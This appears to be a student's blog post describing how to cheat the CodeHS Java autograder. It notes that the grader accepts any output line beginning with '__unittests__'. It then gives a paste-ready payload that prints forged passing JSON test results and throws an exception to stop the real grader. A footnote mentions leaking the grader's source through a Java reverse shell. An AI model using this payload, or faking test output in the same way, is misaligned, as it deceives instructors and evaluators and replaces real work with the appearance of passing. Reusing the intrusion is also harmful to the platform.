Hacking CodeHS

Hacking CodeHS Java

The CodeHS Autograder (as shown in the leaked source code¹) is very poorly-written and easy to manipulate.

For any assignment, Grader.java (which is responsible for running all the specific test cases) calls a bunch of methods on the student’s code and then uses a method of Autograder.java:

public <T> void assertEqual (String testName, T studentOutput, T solutionOutput, String messagePass, String messageFail)

This method adds the test results into ArrayList<TestCase> tests. I then noticed that the only thing Grader.java’s main method does (after running the void test cases) is at the very end:

System.out.println(grader);

I then looked at the Autograder’s toString() method:

@Override
public String toString() {
    JSONObject jsonResults = new JSONObject();
    JSONArray jsonTests = new JSONArray();
    jsonResults.put("tests", jsonTests);
    for (int i = 0; i < tests.size(); i++) {
        TestCase test = tests.get(i);
        JSONObject jsonTest = new JSONObject();
        jsonTest.put("success", test.success);
        jsonTest.put("test", test.test);
        jsonTest.put("message", test.message);
        jsonTest.put("studentOutput", test.studentOutput);
        jsonTest.put("solutionOutput", test.solutionOutput);
        jsonTests.put(jsonTest);
    }
    return "__unittests__" + jsonResults.toString();
}

The Grader literally just prints out __unittests__ followed by a JSON list representing the test results. As it turns out, the script which interprets the output of the grader literally just reads through the buffer (which includes whatever random print statements) until it finds the keyword __unittests__ to get the result!

This means that we can easily inject a single print statement anywhere in our code with __unittests__ and a JSON for our fake test results, and then terminate the code with a RuntimeException.

So, I made a simple payload in our main method (or any part of code the autograder checks for):

System.out.println("__unittests__{\"tests\":[{\"test\":\"Exploit Autograder\",\"success\":true,\"studentOutput\":\"3.14\",\"message\":\"woot woot!\",\"solutionOutput\":\"3.14\"}]}");
if (true) throw new RuntimeException();

This code tricks the autograder script into reading the custom JSON test results, which I wrote into the buffer. Then, I threw an exception to terminate the process, with an if (true) to prevent the compiler from erroring “unreachable code statement.”

It works! This means that the autograder doesn’t even remember how many unit tests there are or check for the details. Any arbitrary JSON test result can be entered into the autograder! With this exploit, we can easily bypass the assignment’s autograder by pasting one segment of code to be run by the Autograder:

System.out.println("__unittests__{\"tests\":[{\"test\":\"Check for hacks\",\"success\":true,\"studentOutput\":\"3.14\",\"message\":\"woot woot!\",\"solutionOutput\":\"3.14\"}]}");if (true) throw new RuntimeException();

1. The autograder source code was leaked using a Java Reverse Shell (see reverse shell cheatsheet) ↩